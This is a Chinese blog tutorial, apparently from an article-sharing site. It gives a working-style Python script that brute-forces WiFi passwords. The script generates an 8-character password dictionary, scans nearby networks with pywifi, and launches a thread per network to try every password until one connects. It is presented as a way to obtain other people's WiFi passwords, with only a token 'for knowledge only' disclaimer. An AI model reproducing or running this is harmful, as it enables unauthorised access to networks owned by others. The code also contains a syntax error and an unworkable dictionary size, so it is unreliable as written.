打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
python自动化:多线程枚举获取wifi信息(你懂的)!

由于是通过枚举字典的方式来实现的,因此在开始之前我们需要先构建好密码字典。

通过对密码字典挨个进行试错的方式获取正确wifi名称和密码,此内容只可以用于知识讲解不允许任何商业用途使用。

开始之前需要先将需要的python非标准模块安装一下,若已安装请忽略。

pip install pywifi -i https://pypi.tuna.tsinghua.edu.cn/simple

pip install comtypes -i https://pypi.tuna.tsinghua.edu.cn/simple

然后使用python内置的模块itertools生成后面需要的密码字典。

# Itertools is a module that provides a number of functions that work with iterators to produce complex iterators.
import itertools as its

# Importing the threading module.
import threading

# It's a logging library.
from loguru import logger

初始化字典项包含的正常字符以及特殊字符。

text = "1234567890abcdefghijklmnopqrstuvwxyz!@#$%^&*()_+=-"

提取随机组合长度为8位的字符串,因为一般密码长度为8位,可根据实际情况设置提取位数。

result_ = its.product(text, repeat=8)

dic = open("pwd.txt","a")

for i in result_:
    dic.write("".join(i))
    dic.write("".join("\n"))
dic.close()

这个时候字典已经生成好了,我们需要使用wifi网卡对信号范围内的wifi进行扫描。

# *|CURSOR_MARCADOR|*
from pywifi import const, PyWiFi, Profile

# It's just an alias for the time module.
from time import sleep
wifi = PyWiFi()
interface = wifi.interfaces()[0]

interface.scan()
sleep(3)
wifis = interface.scan_results()

print(wifis)

经过网卡的scan函数扫描,如今信号范围内的wifi名称信息也都获取完成了。

为了方便后面使用多线程进行枚举字典的遍历,这里我们编写一个函数connect_wifi函数用来连接wifi。

def connect_wifi(wifi_name=None, wifi_pass_path=None, interface=None):
    with open(wifi_pass_path, 'r'as file_pwd:
        for pd in file_pwd:
            pd = pd.strip('\n')
            if interface.status() == const.IFACE_CONNECTED:
                interface.disconnect()
                sleep(2)

            profile = Profile()  # 配置文件
            profile.ssid = wifi_name
            profile.auth = const.AUTH_ALG_OPEN  # 需要密码
            profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 加密类型
            profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
            profile.key = pd

            interface.remove_all_network_profiles()  # 删除其它配置文件
            tmp_profile = interface.add_network_profile(profile)  # 加载配置文件
            interface.connect(tmp_profile)

            sleep(3)

            if interface.status() == const.IFACE_CONNECTED:
                logger.info('连接成功,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))
                break
            else:
                logger.error('连接失败,当前wifi名称:{0}\n当前wifi密码:{1}'.format(wifi_name, pd))

上面单个wifi连接的函数完成之后,为了提升效率我们使用一个线程获取一个wifi的连接方式获取wifi名称和密码。

for w in wifis:
    t = threading.Thread(target=connect_wifi, args=(w.ssid, 'pwd.txt', interface))
    t.start()

「Python 集中营」,只做知识分享 !

学会这几项windows操作,轻松玩转自己的个人电脑!

pandasGUI,一款开源的强横数据可视化分析工具!

python自动化:使用socket做一个多进程的端口扫描器!

手撕一个图片色卡提取器,可自定义提取色卡数量!

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
Python攻防
pywifi详解
python可以操作wifi吗?
用python写一个脚本,自动连wifi,自动登录校园网
WiFi密码怎么破?一个Python脚本搞定
前女友婚礼,把婚礼现场的WIFI,把名称改成了
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服